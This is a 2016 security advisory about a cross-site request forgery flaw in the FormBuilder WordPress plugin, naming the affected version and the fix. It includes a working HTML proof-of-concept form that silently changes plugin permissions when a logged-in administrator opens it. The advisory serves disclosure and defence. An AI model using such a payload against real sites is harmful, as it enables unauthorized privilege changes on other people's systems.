Advisory

Burak Kelebek, July 2016

Cross-Site Request Forgery vulnerability in FormBuilder WordPress Plugin allows plugin permissions modification

Abstract

A Cross-Site Request Forgery vulnerability has been encountered in the FormBuilder WordPress Plugin. This issue allows an attacker to change permission settings for the plugin by luring a logged on WordPress Administrator into following a malicious link.

OVE ID

OVE-20160724-0005

Tested versions

This issue was successfully tested on FormBuilder version 1.05.

Fix

This issue is resolved in FormBuilder version 1.08.

Introduction

The FormBuilder Plugin for WordPress allows you to build contact forms in the WordPress administrative interface without needing to know PHP or HTML.

Details

The FormBuilder plugin lacks a CSRF (nonce) token on the request of saving permissions. Because of this an attacker is able to change permission settings for the plugin. To achieve this a logged on WordPress Administrator must be lured into following a malicious link. Proof of Concept code that demonstrates this issue can be found below.

Proof of concept

The Proof of Concept code below will change the permission settings of the FormBuilder plugin. If a logged-in admin is lured to a page with the POC below, the permission settings of the FormBuilder plugin will be adjusted to allow (WordPress) Authors to manage the settings page of the FormBuilder plugin.

<html>
   <body>
      <form action="http://<target>/wp-admin/tools.php?page=formbuilder.php&fbaction=settings" method="POST">
         <input type="hidden" name="formbuilder_permissions[level_10][connect]" value="yes" />
         <input type="hidden" name="formbuilder_permissions[level_10][create]" value="yes" />
         <input type="hidden" name="formbuilder_permissions[level_2][connect]" value="yes" />
         <input type="hidden" name="formbuilder_permissions[level_2][create]" value="yes" />
         <input type="hidden" name="formbuilder_permissions[level_2][manage]" value="yes" />
         <input type="hidden" name="permissions_save" value="Save" />
         <input type="submit" value="Submit" />
      </form>
   </body>
</html>

Work with us →